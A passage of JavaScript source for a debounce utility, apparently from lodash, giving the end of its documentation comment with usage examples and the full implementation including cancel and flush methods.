`setTimeout` with a timeout of `0`. * * See [David Corbacho's article](https://css-tricks.com/debouncing-throttling-explained-examples/) * for details over the differences between `_.debounce` and `_.throttle`. * * @static * @memberOf _ * @since 0.1.0 * @category Function * @param {Function} func The function to debounce. * @param {number} [wait=0] The number of milliseconds to delay. * @param {Object} [options={}] The options object. * @param {boolean} [options.leading=false] * Specify invoking on the leading edge of the timeout. * @param {number} [options.maxWait] * The maximum time `func` is allowed to be delayed before it's invoked. * @param {boolean} [options.trailing=true] * Specify invoking on the trailing edge of the timeout. * @returns {Function} Returns the new debounced function. * @example * * // Avoid costly calculations while the window size is in flux. * jQuery(window).on('resize', _.debounce(calculateLayout, 150)); * * // Invoke `sendMail` when clicked, debouncing subsequent calls. * jQuery(element).on('click', _.debounce(sendMail, 300, { * 'leading': true, * 'trailing': false * })); * * // Ensure `batchLog` is invoked once after 1 second of debounced calls. * var debounced = _.debounce(batchLog, 250, { 'maxWait': 1000 }); * var source = new EventSource('/stream'); * jQuery(source).on('message', debounced); * * // Cancel the trailing debounced invocation. * jQuery(window).on('popstate', debounced.cancel); */ function debounce(func, wait, options) { var lastArgs, lastThis, maxWait, result, timerId, lastCallTime, lastInvokeTime = 0, leading = false, maxing = false, trailing = true; if (typeof func != 'function') { throw new TypeError(FUNC_ERROR_TEXT); } wait = toNumber(wait) || 0; if (isObject(options)) { leading = !!options.leading; maxing = 'maxWait' in options; maxWait = maxing ? nativeMax(toNumber(options.maxWait) || 0, wait) : maxWait; trailing = 'trailing' in options ? !!options.trailing : trailing; } function invokeFunc(time) { var args = lastArgs, thisArg = lastThis; lastArgs = lastThis = undefined; lastInvokeTime = time; result = func.apply(thisArg, args); return result; } function leadingEdge(time) { // Reset any `maxWait` timer. lastInvokeTime = time; // Start the timer for the trailing edge. timerId = setTimeout(timerExpired, wait); // Invoke the leading edge. return leading ? invokeFunc(time) : result; } function remainingWait(time) { var timeSinceLastCall = time - lastCallTime, timeSinceLastInvoke = time - lastInvokeTime, timeWaiting = wait - timeSinceLastCall; return maxing ? nativeMin(timeWaiting, maxWait - timeSinceLastInvoke) : timeWaiting; } function shouldInvoke(time) { var timeSinceLastCall = time - lastCallTime, timeSinceLastInvoke = time - lastInvokeTime; // Either this is the first call, activity has stopped and we're at the // trailing edge, the system time has gone backwards and we're treating // it as the trailing edge, or we've hit the `maxWait` limit. return (lastCallTime === undefined || (timeSinceLastCall >= wait) || (timeSinceLastCall < 0) || (maxing && timeSinceLastInvoke >= maxWait)); } function timerExpired() { var time = now(); if (shouldInvoke(time)) { return trailingEdge(time); } // Restart the timer. timerId = setTimeout(timerExpired, remainingWait(time)); } function trailingEdge(time) { timerId = undefined; // Only invoke if we have `lastArgs` which means `func` has been // debounced at least once. if (trailing && lastArgs) { return invokeFunc(time); } lastArgs = lastThis = undefined; return result; } function cancel() { if (timerId !== undefined) { clearTimeout(timerId); } lastInvokeTime = 0; lastArgs = lastCallTime = lastThis = timerId = undefined; } function flush() { return timerId === undefined ? result : trailingEdge(now()); } function debounced() { var time = now(), isInvoking = shouldInvoke(time); lastArgs = arguments; lastThis = this; lastCallTime = time; if (isInvoking) { if (timerId === undefined) { return leadingEdge(lastCallTime); } if (maxing) { // Handle invocations in a tight loop. clearTimeout(timerId); timerId = setTimeout(timerExpired, wait); return invokeFunc(lastCallTime); } } if (timerId === undefined) { timerId = setTimeout(timerExpired, wait); } return result; } debounced.cancel = cancel; debounced.flush = flush; return debounced; } export default debounce;
Close